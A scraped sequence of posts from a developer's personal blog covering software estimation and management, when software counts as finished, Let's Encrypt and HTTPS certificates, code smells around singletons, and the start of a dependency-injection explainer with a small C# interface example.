I talked about this at length in my previous post on <a href="http://deltreey.blogspot.com/2012/07/managing-programmers.html">Managing Developers</a>. The truth is that your programmers took the job because they love it. But motivation is a genuine problem with all employees. The answer to this is (surprisingly) found in the daily scrum. I don't advise that all of Agile is needed for every org. But the morning meeting where developers talk to other developers about what they're doing is really everything you need to provide them with motivation. They will see when they're slow, and have help from others in moving quicker.<br />
<br />
But as managers know, every person is unique. Many blogs suggest varying degrees of balance between pay and making the work interesting. But the truth is, your best developers will be working on code, even if they're not working on <b>your</b> code. Getting them to work on your code is matter of making your code something interesting to do, which a lot of companies get. But there's a second factor there that a lot of people forget as well. We'll get to that in a bit.<br />
<br />
<h3>
How they screw themselves</h3>
<br />
Developers make crappy managers. This isn't new information. In fact, in software development, to tell another developer "you would make a good manager" is an insult. It means "get out of my code, you're breaking it". Because developers make crappy managers, they don't often take on the role. More importantly, when they do, they do a bad job of that. Managing people is a complete 180 turn on how they did their job as a knowledge worker. As a knowledge worker, they had to "get it done" regardless. As a manager, their role becomes "what is reasonable to get done" and "what can I be certain of"?<br />
<br />
What's worse is that <a href="http://www.woodwardweb.com/programming/000439.html">estimating is hard</a>. As I said above, software development is about getting any task done, even if you're not sure how to do it. How do you estimate how long it will take to do a task that you've never done before? You don't--not well at least. At the good software companies, at least they let the developers do the estimating (at the bad ones, their managers try to estimate for them), but that's not really a solution to every task being unique and new.<br />
<br />
Unfortunately, while it's hard for developers to estimate, it's even harder for them to estimate their own skill level. I couldn't count the number of developers whose response to every task is "sure, I can do that". Maybe some of you can, but a minor argument could mean the difference between six years and six weeks. This would be a manager's job normally, but those managers were often developers before. So their default response is also "sure, we can do that".<br />
<br />
And the hardest part to understand here is that the "sure, I can do that mentality" isn't wrong. As I said above, that's what a knowledge worker's job is. But when you transition into the role of managing people, your job is to make decisions, not to simply follow instructions. What tends to happen is the opposite. Developers either managing themselves or managing other developers just keep saying "yes I can" instead of "do you think that's a good idea?". They are perpetually, and consistently overworked. Actually, that's not true. Some of them are perpetually and consistently overworked. These guys burn out and quit. The others are perpetually and consistently under-performing, often intentionally to avoid ending up like the other group. There is very little middle ground.<br />
<br />
That dichotomy has created an interesting stereotype. Developers are considered lazy. Their estimates are considered over-generous. And they're usually given even more work and complained to about how long it's taken. I like to refer to Software Development as magic (which I take directly from SCIP @ MIT). The problem with magic is that it is simultaneously impossible and instantaneous. So developers often see their co-workers simultaneously mesmerized by their work and complaining that it took too long. That's not a reasonable situation in any other profession.<br />
<br />
<h3>
So how do you manage that?</h3>
<br />
The <b>good</b> managers have learned that managing <b>up</b> is often more important in software development than managing <b>down</b>. As I said, the good developers want to be there. But note that I'm also only talking about the <b>good</b> ones. Because many developers have worked other places and seen other developers burn out, they may already have bad habits and find ways to reduce their workload.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheyJXakZ3qxJw6_FcgCLh9X7Z6-OvL5qqHy6TaP0PHikjrMpTOVNmogc4z0CRMkhoFtyBxNmWWqX-bdJc-RQ7pnfNud8gsWYMbT8Yyw5UbJ-jk6psATj7IgvQKqsB8GDuDlWsG8CcXR-6r/s1600/chrome_2017-08-25_13-34-51.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="263" data-original-width="850" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheyJXakZ3qxJw6_FcgCLh9X7Z6-OvL5qqHy6TaP0PHikjrMpTOVNmogc4z0CRMkhoFtyBxNmWWqX-bdJc-RQ7pnfNud8gsWYMbT8Yyw5UbJ-jk6psATj7IgvQKqsB8GDuDlWsG8CcXR-6r/s400/chrome_2017-08-25_13-34-51.png" width="400" /></a></div>
<div style="text-align: right;">
attribution: <a href="http://dilbert.com/strip/2017-03-29">Dilbert</a></div>
<br />
The reality is more akin to the <a href="https://ipstenu.org/2011/the-scotty-principle/">Scotty Principle</a> than you might think, and there's a reason for that. It's not about you. It's not about reducing the work-load. It's not even about keeping your boss in line. It's about your company! The cost of software is <b><a href="http://www.dbta.com/Columns/DBA-Corner/The-High-Cost-of-Enterprise-Software-69166.aspx">astronomical</a></b>. It's goal is to make your company money (or save your company money, but the result is the same from an accounting perspective). And as we have seen, software estimates are basically bullshit, so if you trust them, you're going to have delays with releasing the software.<br />
<br />
And that's the core of it. Unexpected delays cost money--a lot of money. If you release software early, no one gets hurt. If you release it late, often millions of dollars are lost. It is <b>vital</b> that software estimates be inflated, not for the overworked team members, not for the slackers, not even because it makes you look good to release early. It matters because <b>the estimates will be wrong</b> and that <b>costs your company money</b>.<br />
<br />
Here's an example:<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">You tell your company (or customer) that it will take you 6 months to implement something. You deliver it in 3 months. The staff has been retrained in another month, and you have a better company for it. Imagine if you had said 2 months? Staff training taking a month, the company would have started retraining 1 month into the project. Retraining would be complete a full <b>month</b> before the project was finished. The staff training might stick, or it might not. The new machines they brought in to run the project would be sitting gathering dust, and the contract they had cancelled had to be unexpectedly renewed for astronomical costs--and that's just for starters.</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;">Because the project is behind, you're pushed to release it in an incomplete state. Your developers are overworked and the end result is not as good as it would have been. To clean up the code and get it working right with all the original intended functionality is likely to actually end up taking the full <b>6 months</b> in that situation. It's incredible.</span><br />
<br />
<h3>
Why would you do that?</h3>
<br />
This all sounds like you're going to end up being the manager who gets fired for stuff taking too long. And there will be people who claim they can do it faster, but that's corporate politics and is well outside the scope of this blog post. Here's the reality. Trust is everything in management. You're in charge of people because the company <b>trusts</b> you to have their best interests at heart. If you betray that trust by failing to deliver on time, then you are not strengthening your position.<br />
<br />
Trust is even more of a big deal in software development. I often get jokes from charities I help out with IT services about how "I don't mess with you because I like my money in my bank account". And that's a real thing in enterprise development. Not just from the perspective of trusting programmers to correctly handle tons of <a href="https://en.wikipedia.org/wiki/Personally_identifiable_information">PII data</a> about you and your employees and customers, but also because the programmers <a href="http://www.independent.co.uk/life-style/gadgets-and-tech/news/man-accidentally-deletes-his-entire-company-with-one-line-of-bad-code-a6984256.html">don't have to be malicious to cost you money</a>.<br />
<br />
Since the role of managing software development is more trust-inflated than even that of other managers, you need to be <b>that much more reliable</b>. If you make a mistake, the costs can literally be every dollar in the bank. Do not take that responsibility lightly. More importantly, don't shrug it off to get a slightly better estimate. <b> Take your time. Get it right.</b> This is a scientific game, not a productivity one.<br />
<br />
<h3>
But nothing will get done!</h3>
<br />
This is where things get interesting. We have seen companies (like Valve) where their programmers never complete a project. This is a very real possibility if you only manage up. If you only ever inflate estimates and keep telling the upper management "no". But that's only half of managing programmers. What I've described so far is all about managing their <b>estimates</b>. The second part of this discussion is about managing the <b>work</b>.<br />
<br />
Everything I have to say about this can be summarized in one sentence. <b>Don't lose focus</b>. Software Developers (especially the good ones) love to explore every new technology, try every new thing, and learn every new language. At every meeting with them, you can expect them to suggest using this technology or that to make the project better. New things excite them.<br />
<br />
Other managers, similarly, love exploring new ideas. New sales ideas, new software to increase productivity. New technology that will automate more of the business. These ideas align <b>perfectly</b>. The result is that the managers and programmers feed off of each other talking about how they can leverage this new technology to provide this new software. It is a wonderful experience being in a meeting of dreamers like that. The problem, of course, is that dreamers aren't always doers.<br />
<br />
Dream big. Let your developers dream big. But you set the timeline. You set the agenda. And you make sure they finish a project before moving onto the next. Managers will often want to pull people off of your current project to start on another. Push back! If your company is worth the money they pay you, then it's <b>important work</b>! A manager pulling a programmer off of one project--<b>even one the developer is excited about</b>--is just as dangerous as changing your technology stack halfway through a project. And it happens ALL THE TIME.<br />
<br />
Work will progress just fine, as long as you don't let your programmers lose focus, either from their own hubris (I can implement this new thing in no time) or from the company's eagerness to try new things.<br />
<br />
<h3>
And...Magic!</h3>
<br />
Something magical happens when these things align. Your developers find they don't have to pretend not to work hard. Your managers don't have unrealistic expectations. Your company makes money, and progress moves forward--at a reasonable, but not breakneck pace.<br />
<br />
Something even more terrifyingly magical happens when they don't. I've seen this, so this is actually happening. There are companies that no longer hire their internal software developers to do things. They hire outside contractors because their internal developers give them timelines that can literally be 10 years for a single page website with no major functionality.<br />
<br />
That is not how a manager conflates timelines. That is how a developer does. This is a place where the developers have learned that no amount of time is enough. So they come up with arbitrarily high numbers because they don't want to be wrong anymore.<br />
<br />
So understand how important it is for you to get it right. Because if you don't they'll find another way to survive, and it will look like that, or worse...and yes, I've seen worse too.deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-18708725831213571342017-02-07T10:26:00.001-05:002017-02-07T10:26:20.635-05:00When Is Software Done?I have some very exciting news. A piece of software I've been working on for over 2 years is released to the general public! This is a little exciting if it were software I'd been working on for some big company. It's <b>very</b> exciting because it's software I have been working on for <b>my</b> company. That's right! My company is ready to start selling software and start making money!<br />
<br />
I'm not gonna use this blog post to talk about my company and what it does. You can read about that in <a href="http://finance.yahoo.com/news/average-underwriting-time-shortened-30-144000592.html;_ylt=A0LEVyMYn5RYSsQAj2xXNyoA;_ylu=X3oDMTEyc2F2NTd1BGNvbG8DYmYxBHBvcwMyBHZ0aWQDVUkyQzNfMQRzZWMDc3I-">our press release</a>. Instead, I'm going to talk about the software industry and the concept of done. Because, as with everything, it's more complicated than it seems.<br />
<br />
<h4>
Software is never <i>really </i>done</h4>
<div>
<br /></div>
<div>
Actually that's a misnomer. Software can really be done. But done is sort of a quantum state--there and not there at the same time. First and foremost, anyone can understand that software that works is complete. If the software's purpose is to process a credit card, if the credit cards process correctly then it's done, it's working. But even in that simple example you can see how modern society doesn't end there. There's constantly changing regulations on how the card has to be processed. There's new security features like chips that we need to handle as they come out. Different companies will change the way they format the data in their magnetic strips. And that's not to mention the fact that there's always new and different banks and credit card companies that you'll need to deal with.</div>
<div>
<br /></div>
<div>
But that's really the problem isn't it? We perceive done software as this never changing stone that can do absolutely anything. The reality is, it does one thing--what it was programmed to do. The world around the software is ever changing. When new software comes out to make searching for information easier (aka Google), we begin to rely on that and we want software that can make our company appear at the top of relevant search results. The world around us is not static. Software is. For that reason, it's hard to make software that is <b>done</b> in a world that <b>isn't</b>.</div>
<div>
<br /></div>
<h4>
But software really can be <i>done</i></h4>
<div>
<i><br /></i></div>
<div>
Software that does it's job well enough might never need changing. A great example is a <a href="http://www.geek.com/geek-cetera/commodore-amiga-computer-has-been-running-the-acheat-in-19-schools-for-30-years-1625147/">1980s computer still running HVAC at some schools</a>. There are hundreds of similar systems out there. Examples of done software can include things like the <a href="http://www.linfo.org/pipes.html">pipe command</a> in linux, or the <a href="http://www.computerhope.com/dirhlp.htm">dir command</a> on windows. This software hasn't had a need to change in a long long time. And there's a reason for that.</div>
<div>
<br /></div>
<h4>
Software that only needs to do one thing can be done</h4>
<div>
<br /></div>
<div>
If you can clearly and <b>completely </b>define a single thing that the software needs to do, it will be finished. The important part of that sentence is <b>completely</b>, because "process credit cards" is not the full definition. There's reading magnetic strips and chip data. There's encryption and decryption. There's integrating with varying credit card companies. There's keeping up with industry regulations. And note that each of those things are not complete definitions either. Chips and strips have varying data formats that change by company. Encryption and decryption change every other week as someone finds new ways to make things more or less secure. "varying" credit card companies is it's own bag of wax. And regulations don't even have a reliable way to be discovered by lawyers, let alone a software developer.</div>
<div>
<br /></div>
<h4>
Integration is a dirty word</h4>
<div>
<br /></div>
<div>
The biggest problem with the concept of done software is more subtle than it seems. Integration. Integrating your software with someone else's software makes the two pieces of software into one piece of software from the done perspective. If your software is done, and they change theirs, then your integration fails and you have to change it. So, the second you want to integrate, you introduce a <b>huge</b> exponential factor that makes finishing your software harder.</div>
<div>
<br /></div>
<h4>
Changes bite hard</h4>
<div>
<br /></div>
<div>
Even then, if you think about this in terms of two simple pieces of software this is understandable. But the second your software is something complicated that won't be <b>done</b> anytime soon (like credit card processing tools) then you create a scenario where your integration can't be complete until the rest of your software is.</div>
<div>
<br /></div>
<div>
But that's not even the worst of it. The worst part comes back to what it means to be finished. Software that you start working on before it is <b>completely</b> defined will take longer to finish than it would otherwise. And this is not what most CEOs want to hear. In manufacturing, the sooner you start on a product, the sooner it's finished. In software this isn't always the case. If you change your mind halfway through, you can completely change the way the software needs to be written.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://imgs.xkcd.com/comics/tasks.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://imgs.xkcd.com/comics/tasks.png" width="190" /></a></div>
<div>
<br /></div>
<div>
More often than you might think, what appears to be a subtle change can be nearly impossible for software that was built with certain conditions in mind. A common comparison in the software world is a house. If the customer says "we're going to live in Florida" then the house designer might do things like lower the roof angle since snow won't be a problem but hurricanes are, and replace the frame with hardier wooden beams to resist the extra moisture in the air. If the customer makes no other changes to the design except deciding to live in New York instead, the frame and roof, and various other bits, have to be completely changed. And those changes result in a very different house in the end.</div>
<div>
<br /></div>
<div>
I can't tell you how many meetings I've been in where software developers, seeing the dangers of change, try to get clarification by asking something like "What if the user has two middle names?" only to be dismissed by management with "That'll never happen". Then, having structured the <b>database</b> and <b>apis</b> around this particular situation never happening, they have to account for it at a later date when "never" turns out to be "rarely". I always advise my co-workers to be careful about these situations.</div>
<div>
<br /></div>
<h4>
Realistically, you don't usually want <i>done</i> software</h4>
<div>
<br /></div>
<div>
In the end, done is not what we really need. What we need is <b>functioning</b> software. If it works for the moment, we can let the developers keep working away at fixing it, improving it, and adding more features and integrations as we need them. This is why Agile is so popular in software development these days. Most companies have accepted that diving into having their own software developers is not a temporary investment. They are going to keep them around forever as the company's needs grow and change. Because the world is changing, so the software must also.</div>
<div>
<br /></div>
<div>
Take my recent release as an example. This software is functioning, and it's doing so well. It's brilliantly effective at doing it's job, but it's job is complicated and ever-changing. The mortgage industry is inundated with ever-changing regulations, and we're working our way through dozens of integrations at the moment. So we'll continue to work on improving and integrating this software for years to come, but it <b>works</b>! It's out there! And it's ready for your company to use <b>NOW</b>!</div>
<div>
<br /></div>
<div>
And that is a wonderful feeling.</div>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-78756211080739850192016-08-18T11:24:00.000-04:002016-08-18T11:26:58.496-04:00Encrypt All The ThingsI love to study new technology as it comes out, but today's blog post is about a very old technology finally being handled in an intelligent way. Let's start with the old technology.<br />
<br />
<h3>
It's all http<u>s</u></h3>
<div>
<br /></div>
<div>
Security on the internet is hard to explain, but in general it just--sucks. The truth is that when you log into you bank's website, the data to handle that is (usually) encrypted. That is to say that the data your'e sending to the bank is gibberish that the bank's servers know how to translate back into your username and password, among other things</div>
<div>
<br /></div>
<div>
Encryption is complicated, but the important thing to understand about all of this is that your computer has to know how to translate your username and password into gibberish, and the bank's computer has to know how to translate that gibberish back into your username and password. For this to happen, those computers have to start by sharing the translator with each other, we call this the handshake. Usually, it goes something like this (yes, with this many steps, Yay TCP!).</div>
<div>
<br /></div>
<blockquote class="tr_bq">
Your Computer - "Hey bank, I'd like to see your login page"<br />
Bank Computer - "Sure thing, here it is"<br />
Your Computer - "What is this gibberish? Must be encrypted. Hey bank, I'd like to see your <u>encrypted</u> login page."<br />
Bank Computer - "Sure thing, here's the encrypted login page and translation instructions."</blockquote>
<div>
<br /></div>
<h3>
It's all a sham</h3>
<div>
<br /></div>
<div>
SSL/TLS encryption is the fancy term to refer to this method of security today. The problem is subtle--or more specifically, subtlety. The problem is this:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNbsDBx9FoMJedfWsHA1Bjn54EPZ49sBjnNKOir9Svmy-HM7niznOXpcoDqiD2-46dMFHokBSV6KiyXRweTIj_lRfpQSz02Dz4nI3Vp3XrVWfJWPSIXdywS6vn0DQVpN16Zk-7zLUmUDP1/s1600/8-18-2016+10-19-51+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNbsDBx9FoMJedfWsHA1Bjn54EPZ49sBjnNKOir9Svmy-HM7niznOXpcoDqiD2-46dMFHokBSV6KiyXRweTIj_lRfpQSz02Dz4nI3Vp3XrVWfJWPSIXdywS6vn0DQVpN16Zk-7zLUmUDP1/s1600/8-18-2016+10-19-51+AM.png" /></a></div>
<div>
<br /></div>
<div>
You see, the <u>only</u> way to know if a website is secure today is for <b>you</b>, the user, to see that green little https lock icon. There's no check to ensure that you don't accidentally log in on a page that looks like this:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibvZP8yQwKc3-IP-el0hsvyQhz5FN2GdpkpIyBTuqZwu2WpjhvJu0C0CLHLK5OPNL62NQ27a-zxYv9tQHfYw-NOqoiglMHkizwpA_M1S_cTVuU_5v7RPcNNuUSlNAt0MsbviPjbFCp9t91/s1600/8-18-2016+10-34-41+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibvZP8yQwKc3-IP-el0hsvyQhz5FN2GdpkpIyBTuqZwu2WpjhvJu0C0CLHLK5OPNL62NQ27a-zxYv9tQHfYw-NOqoiglMHkizwpA_M1S_cTVuU_5v7RPcNNuUSlNAt0MsbviPjbFCp9t91/s1600/8-18-2016+10-34-41+AM.png" /></a></div>
<div>
<br /></div>
<div>
The difference between the former and the latter from your perspective is whether or not you were paying close enough attention, which even many security experts fail to do. The difference in terms of security, however, is everything.</div>
<div>
<br /></div>
<div>
Modern browsers don't manage this for you at all. In fact, security experts got caught recently by a fake google site, and the only difference was the above text. And of course, the other side can be true too. <b>http://google.com</b> is not safe, but so is <b>https://docs.google.com/user/12345/login_page</b> because users can bring you to sites with the wrong URL just as easily as one that isn't secure.</div>
<div>
<br /></div>
<h3>
The problem is sharing</h3>
<div>
<br /></div>
<div>
Programmers attempted to build security around <b>https </b>into browsers to let you know when a website was unsafe, but there's no way to know which websites should be using encryption and which shouldn't, so instead they chose to check if the encryption of the website did indeed come from that website--which they only do when there is any encryption at all in place.</div>
<div>
<br /></div>
<div>
This is where you get gigantic warning pages about websites:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPmVVvXleB0N4TRFNQimKqFNIHPRIPq8ouaaUS5FWBe5a4g3s7leJuuVPn1LGh6ZzrLwywrv-LqQ185XZ8AnT1xhH8ELdT8lZJq4Sfr50Lm8fRSSFVp48nNClvhoqvg9Aw2FhApQ7IclSG/s1600/8-18-2016+11-06-51+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPmVVvXleB0N4TRFNQimKqFNIHPRIPq8ouaaUS5FWBe5a4g3s7leJuuVPn1LGh6ZzrLwywrv-LqQ185XZ8AnT1xhH8ELdT8lZJq4Sfr50Lm8fRSSFVp48nNClvhoqvg9Aw2FhApQ7IclSG/s320/8-18-2016+11-06-51+AM.png" width="320" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div>
<br /></div>
<div>
The way they know that <b>https://self-signed.badssl.com</b> should be red and <b>https://google.com</b> should be green is called a Certificate Authority, often called a CA. Because the programmers who wrote your browser can't possibly know every website that should have https, they rely on the website to tell your computer, as in the above dialogue (handshake). When you get back those translation instructions (called the certificate) from the website, the browser then goes to a CA it knows and trusts to see if that really is the correct instructions for that website, because if it's not, you're just encrypting the data to send it to someone who's pretending to be the website, which would defeat the purpose.</div>
<div>
<br /></div>
<div>
If the CA hasn't heard of the certificate, the browser gives the gigantic warning page above, which makes you feel very safe. <i>But remember, that if they don't even bother to encrypt the page, there's no warning at all, even if it's a page that's usually encrypted.</i> Because CAs are the <b>only </b>accepted authority on what sites should have what certificates, they have to be right, every time. For this reason, and the costs associated with that, CAs have always charged a decent amount of money (hundreds of dollars per year on the low end) to grant your website a certificate that they will tell the browser is safe.</div>
<div>
<br /></div>
<div>
You can create your own certificates (translations) for your websites, called self-signed certificates, but your users will get this gigantic warning page every time they try to go to your site unless they do some manual configuration to accept the certificate on their computer. This is why most websites don't even bother to encrypt. It costs too much, and if you do it yourself, browsers actually make the experience worse for your users than if you didn't do anything at all.</div>
<div>
<br /></div>
<h3>
Enter <a href="https://letsencrypt.org/">Let's Encrypt</a></h3>
<div>
<br /></div>
<div>
The world of CAs is going a little nuts right now, as a newcomer to the market has decided to issue certificates for free, and completely automate the process. What's unusual is that, the newcomer is <b>actually being accepted by all major browsers</b>. This is incredible. Now, people who make websites can encrypt them just for fun! There's no longer any reason not to see that beautiful green <b>https</b> at the top of your browser. It doesn't cost anything!</div>
<div>
<br /></div>
<div>
Now, I may not sound like it, but I'm usually quite skeptical of new technology. I like to use it and study it, but I don't usually trust it in production until it's more tried and true. Let's Encrypt still acts like new technology. It's unwieldy and hard to use, but it works, and because I care about security it's worth it to me. From the perspective of someone who doesn't like it when things are hard, however, here's a <a href="http://stackoverflow.com/questions/36575804/lets-encrypt-error-urnacmeerrorunauthorized/38060692#38060692">StackOverflow post</a> I wrote about issues with setting it up. It's not everything, but it has some links that should help you along the way.</div>
<div>
<br /></div>
<div>
What's great about Let's Encrypt being free is that everyone should be doing it now. If you make websites, encrypt them. I don't care if it's just a blog about baking cookies, or a picture page with no logins. Encrypt it! You see, since programmers never could figure out a good way to identify whether a website should have a certificate, we can create an internet for them where they don't have to. If every legitimate website is encrypted, then they can tell the browsers to throw ugly scary warning pages when there is no encryption, and take that onus off of the user.</div>
<div>
<br /></div>
<div>
This means a lot to me, as a programmer who understands how important your personal information is. The internet is dangerous, and this is one way that we can make it just a little bit safer.</div>
<div>
<br /></div>
<div>
<b>Encrypt all the things!</b></div>
<div>
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimtQwCKA5jchDCD28CksLRpUafuARt_9gEBOLODcyTkWTOgULDAilabOoV1icQB7aZyM0s9TSzvA-Zwp7YL33917TozSrifz2MzjL-z7BwlgKYs67ZmAse7_zm7huG734PBLH6zl6v9ZwQ/s1600/encrypt-all-the-things1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimtQwCKA5jchDCD28CksLRpUafuARt_9gEBOLODcyTkWTOgULDAilabOoV1icQB7aZyM0s9TSzvA-Zwp7YL33917TozSrifz2MzjL-z7BwlgKYs67ZmAse7_zm7huG734PBLH6zl6v9ZwQ/s320/encrypt-all-the-things1.png" width="320" /></a></div>
<div>
<b><br /></b></div>
deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-20006428232166049492016-04-14T14:35:00.001-04:002016-04-14T14:35:17.218-04:00Your code smells? Let it!<b>Code smell</b> is a term used pretty commonly in software development. It is a way for one developer to express to another that they're experience is telling them something is wrong, even though they don't see it on the surface. In fact, that's what it's supposed to mean.<br />
<br />
But software developers don't do well with "trust your gut" as a methodology, so we make an effort to identify and quantify things like this. For that reason, over time we have managed to put together <a href="http://blog.codinghorror.com/code-smells/">lists of things</a> in your code that are "code smells" and explain why we don't like them.<br />
<br />
For illustration, I'm going to refer to personal experience and talk about an application I'm currently working on. A common code-smell that developers will talk about is <a href="http://unixjunkie.blogspot.com/2006/07/singleton-smell_25.html">singletons</a>. So that will be the basis for my example, but the message should be clear even without the example.<br />
<br />
<h2>
Why does it smell?</h2>
<br />
The first thing you should ask the developer on your team who's most knowledgeable about the code in question (that may be yourself) when you encounter a code smell is "Why does it smell?". This is the part I see skipped--A LOT. This is the most important part of the process. Let's face it. There are legitimate reasons for things to smell. Your mechanic's shop should not smell the same as a bank vault! Each code base is going to have its own set of smells, and that's ok, as long as the answer to "Why does it smell?" is reasonable.<br />
<br />
In a project I've stepped into, singletons are everywhere. I asked one of the developers about them and his answer was one sentence. "We have memory constraints." Oh! That makes sense. This application lives on (crappy) webservice connections, and is written in an older language, so it's logical to store those connection objects for reuse later, rather than waiting on a crappy garbage collector to delete them and running out of memory. This code base smells like they're using singletons as global objects.. Guess what? They are! And it's OK. That was their intent!<br />
<br />
Of course, the answer is not always valid. If the answer is "That's the way it's done" or something else vague like that, it's time to investigate yourself. It may be that there is a legitimate reason and you haven't encountered it yet, but this is a code smell, and so you need to find the source. You cannot, and should not go changing code to "fix the smell" if you don't know why it smells.<br />
<br />
In my example, if I had started getting rid of singletons to "fix it" and making them instances of the service all throughout the application, I would have surely crashed production! Don't go fixing things that you don't KNOW are broken. Code smells are just that: a smell. Some smells are supposed to happen!<br />
<br />
<h2>
What if it's bad?</h2>
<br />
So you've identified a code smell. You asked "Why does it smell?" and you figured out, through some form of investigation, that it's bad. This is the smell of burning rubber over a box of wires. It's a bad smell, we need to fix it.<br />
<br />
<b>You're not supposed to fix the smell!</b><br />
<b><br /></b>
So many developers get this bit wrong. The smell is your marker. It identifies that there's a problem in your code base. The smell itself is <b>NOT </b>the problem! 99% of code smells are pointers to an architectural problem! The smell "goes away" when you fix the root problem. Saying "x is a code smell" is not the same as saying "x is bad". The code you're looking at solved a problem. It is good code. It just may not need to exist if you fix the part of the code that is bad. The part that caused the smell to begin with.<br />
<br />
As an example, in my current day job, they identified the singletons but knew that "singletons are a code smell". They made the standard mistake. They think that the word code smell means "bad". So they say "singletons are bad". Then they try to remove the singleton. This actually happened in this code base. They did something I'm seeing a lot on <a href="http://googletesting.blogspot.com/2008/05/tott-using-dependancy-injection-to.html">blogs</a>. They wrapped their singletons in a Dependency Injection library and pretended that, since the instance is being passed to their class via dependency injection, it's no longer a singleton.<br />
<br />
<h2>
Don't hide the smell!</h2>
<br />
Ok, so the new guy is just starting. He didn't do any of the above, but he saw the singleton pattern and got all excited to help and swapped it out for dependency injection... What did he do? He masked the smell. The smell is there for a reason. It's like covering up the dog turd in the middle of the floor by putting a towel over it. Whether this is a kennel, where that dog turd needs to be kept in the dog-turd specific area (maybe a singleton resolver class or some such), or a perfume store, where it needs to be cleared out immediately at all costs, he has made it harder to fix, and hard to identify for everyone.<br />
<br />
In a code-base where the smell identifies an actual problem, to fix the smell masks the real problem and keeps you from finding it longer.<br />
<br />
In a code-base where the smell points to outside forces beyond our control, the fix makes it harder to maintain, and harder for new developers to step in and learn about the code base.<br />
<br />
Never, ever hide the smell.<br />
<br />
<h2>
What about your singleton problem?</h2>
<br />
With a big problem in an existing code-base like this, I'm starting small. First thing to do, unmask all the singletons. I'm creating a group of static classes that wrap up the singletons in the application. Some day in the future, I'll be able to remove the Dependency Injection framework entirely and start over, using it correctly (<a href="http://deltreey.blogspot.com/2016/04/dependency-injection-youre-doing-it.html">for actual dependency injection</a>). But until then, I've had to think differently. For now, in this particular code-base, whenever I see that dependency injection is being used. That, for me, is a code smell.deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-85089000146411589032016-04-08T17:10:00.002-04:002016-04-11T14:14:33.616-04:00Dependency Injection - You're doing it wrong!So I have worked at a lot of places and seen a lot of different styles of programming. Early on in my career, I became acquainted with the concept of dependency injection. It was a hard topic to grasp, but I have learned understand it deeply. Now, when I step into a new application that uses it, I can very quickly see the flaws in the implementation, and there's a common one I want to talk about today: global singletons. But we'll get to that in a minute.<br />
<br />
<h3>
What is Dependency Injection?</h3>
<br />
Dependency Injection is exactly what it sounds like. You use it to <b>inject</b> your <b>dependencies</b>.<b> </b> The unique part about Dependency Injection though, is that you can do this <b>at runtime</b>. Now this sounds fancier than it is. By <b>inject </b>we don't mean they're downloaded for you. You still have to have all of the parts installed where you want to run your app.<br />
<br />
Dependency Injection is somewhat of a complicated topic to a newbie. Let's start with defining the word <b>dependency</b> here. Specifically, DI is about classes, but everyone who talks about DI talks about <b>Interfaces</b>. This is because DI does something unique among software patterns. It doesn't decrease the amount of code you have to write, it <b>increases</b> it. That's right, when you start using Dependency Injection, you can expect to write a lot more code, a third as much as you are currently writing or more (beyond 100%) on top of your existing workload. <b>For every class you write, you need to write a matching interface that provides access to all of the class's public properties, and the class needs to implement that interface.</b><br />
<br />
<h4>
Then Why Use It?</h4>
<br />
Like all software patterns, DI is about making your code easier to work with. The magic of DI is the interface. Interfaces are simple stubs of classes that essentially mean "any class that <b>implements</b> this interface must have these <b>public </b>properties". That's it. It's a set of rules for creating a class. This makes it easier to write your class later, because you know it only needs public properties X, Y, and Z. Let's look at a real life example. I'm pulling this example from a library written by a good friend of mine who's worked with me at some of my big name jobs. Here's the full library for reference: <a href="https://github.com/danielkrainas/squire">https://github.com/danielkrainas/squire</a><br />
<br />
First, let's look at an interface he created for storing data.<br />
<br />
<br />
<pre class="prettyprint csharp">namespace Squire.Storage
{
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
public interface IBlob : IBlobItem
{
void SetPermissions(BlobPermissions permissions);
void Delete();
void PerformRead(Action<Stream> readerActivity);
void PerformWrite(Action<Stream> writerActivity);
void CopyTo(IBlobContainer container, string copyName = "");
}
}
</pre>
<br />
Pretty simple right? Basically his interface offers CRUD. Create, Read, <strike>Update</strike>, Delete, and a few other minor features. OK, it's not perfect CRUD, but I'm sure he intended for it to be that way.<br />
<br />
